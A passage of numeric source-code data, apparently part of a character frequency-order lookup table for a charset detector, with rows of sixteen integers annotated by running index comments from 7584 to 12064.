// 7584 +7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, // 7600 +7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, // 7616 +7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, // 7632 +7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, // 7648 +7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, // 7664 +7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, // 7680 +7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, // 7696 +7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, // 7712 +8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, // 7728 +8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, // 7744 +8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, // 7760 +8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, // 7776 +8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, // 7792 +8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, // 7808 +8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, // 7824 +8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, // 7840 +8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, // 7856 +8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, // 7872 +8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, // 7888 +8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, // 7904 +8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, // 7920 +8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, // 7936 +8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, // 7952 +8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, // 7968 +8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, // 7984 +8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, // 8000 +8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, // 8016 +8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, // 8032 +8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, // 8048 +8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, // 8064 +8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, // 8080 +8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, // 8096 +8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, // 8112 +8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, // 8128 +8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, // 8144 +8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, // 8160 +8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, // 8176 +8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, // 8192 +8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, // 8208 +8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, // 8224 +8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, // 8240 +8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, // 8256 +8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, // 8272 +8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, // 8288 +8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, // 8304 +8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, // 8320 +8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, // 8336 +8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, // 8352 +8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, // 8368 +8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, // 8384 +8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, // 8400 +8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, // 8416 +8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, // 8432 +8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, // 8448 +8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, // 8464 +8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, // 8480 +8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, // 8496 +8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, // 8512 +8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, // 8528 +8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, // 8544 +8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, // 8560 +8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, // 8576 +8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, // 8592 +8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, // 8608 +8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, // 8624 +8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, // 8640 +8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, // 8656 +8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, // 8672 +8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, // 8688 +4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, // 8704 +8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, // 8720 +8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, // 8736 +8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, // 8752 +8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, // 8768 +9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, // 8784 +9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, // 8800 +9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, // 8816 +9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, // 8832 +9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, // 8848 +9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, // 8864 +9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, // 8880 +9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, // 8896 +9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, // 8912 +9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, // 8928 +9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, // 8944 +9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, // 8960 +9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, // 8976 +9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, // 8992 +9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, // 9008 +9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, // 9024 +9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, // 9040 +9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, // 9056 +9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, // 9072 +9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, // 9088 +9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, // 9104 +9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, // 9120 +9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, // 9136 +9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, // 9152 +9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, // 9168 +9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, // 9184 +9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, // 9200 +9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, // 9216 +9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, // 9232 +9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, // 9248 +9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, // 9264 +9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, // 9280 +9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, // 9296 +9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, // 9312 +9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, // 9328 +9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, // 9344 +9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, // 9360 +9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, // 9376 +3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, // 9392 +9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, // 9408 +9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, // 9424 +9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, // 9440 +4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, // 9456 +9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, // 9472 +9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, // 9488 +9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, // 9504 +9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, // 9520 +9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, // 9536 +9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, // 9552 +9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, // 9568 +9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, // 9584 +9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, // 9600 +9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, // 9616 +9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, // 9632 +9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, // 9648 +9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, // 9664 +9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, // 9680 +9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, // 9696 +9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, // 9712 +9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, // 9728 +9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, // 9744 +9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, // 9760 +9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, // 9776 +9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, // 9792 +9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, // 9808 +9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, // 9824 +10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, // 9840 +10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, // 9856 +10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, // 9872 +10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, // 9888 +10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, // 9904 +10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, // 9920 +10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, // 9936 +10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, // 9952 +10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, // 9968 +4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, // 9984 +10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, //10000 +10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, //10016 +10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, //10032 +10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, //10048 +10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, //10064 +10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, //10080 +10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, //10096 +10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, //10112 +4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, //10128 +10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, //10144 +10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, //10160 +10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, //10176 +10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, //10192 +10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, //10208 +10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, //10224 +10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, //10240 +10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, //10256 +10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, //10272 +10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, //10288 +10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, //10304 +10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, //10320 +10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, //10336 +10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, //10352 +10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, //10368 +10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, //10384 +10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, //10400 +4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, //10416 +10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, //10432 +10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, //10448 +10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, //10464 +10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, //10480 +10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, //10496 +10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, //10512 +10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, //10528 +10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, //10544 +10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, //10560 +10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, //10576 +10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, //10592 +10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, //10608 +10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, //10624 +10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, //10640 +10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, //10656 +10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, //10672 +10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, //10688 +10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, //10704 +10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, //10720 +10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, //10736 +10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, //10752 +10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, //10768 +10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, //10784 +10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, //10800 +10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, //10816 +10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, //10832 +10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, //10848 +10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, //10864 +10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, //10880 +10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, //10896 +11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, //10912 +11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, //10928 +11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, //10944 +4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, //10960 +11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, //10976 +11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, //10992 +11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, //11008 +11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, //11024 +11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, //11040 +11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, //11056 +11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, //11072 +11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, //11088 +11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, //11104 +11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, //11120 +11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, //11136 +11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, //11152 +11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, //11168 +11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, //11184 +11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, //11200 +11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, //11216 +11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, //11232 +11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, //11248 +11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, //11264 +11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, //11280 +11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, //11296 +11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, //11312 +11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, //11328 +11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, //11344 +11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, //11360 +11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, //11376 +11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, //11392 +11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, //11408 +11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, //11424 +11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, //11440 +11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, //11456 +11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, //11472 +4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, //11488 +11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, //11504 +11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, //11520 +11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, //11536 +11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, //11552 +11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, //11568 +11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, //11584 +11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, //11600 +11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, //11616 +11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, //11632 +11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, //11648 +11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, //11664 +11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, //11680 +11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, //11696 +11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, //11712 +11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, //11728 +11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, //11744 +11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, //11760 +11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, //11776 +11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, //11792 +11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, //11808 +11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, //11824 +11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, //11840 +11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, //11856 +11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, //11872 +11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, //11888 +11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, //11904 +11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, //11920 +11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, //11936 +12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, //11952 +12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, //11968 +12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, //11984 +12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, //12000 +12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, //12016 +12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, //12032 +12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, //12048 +12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, //12064 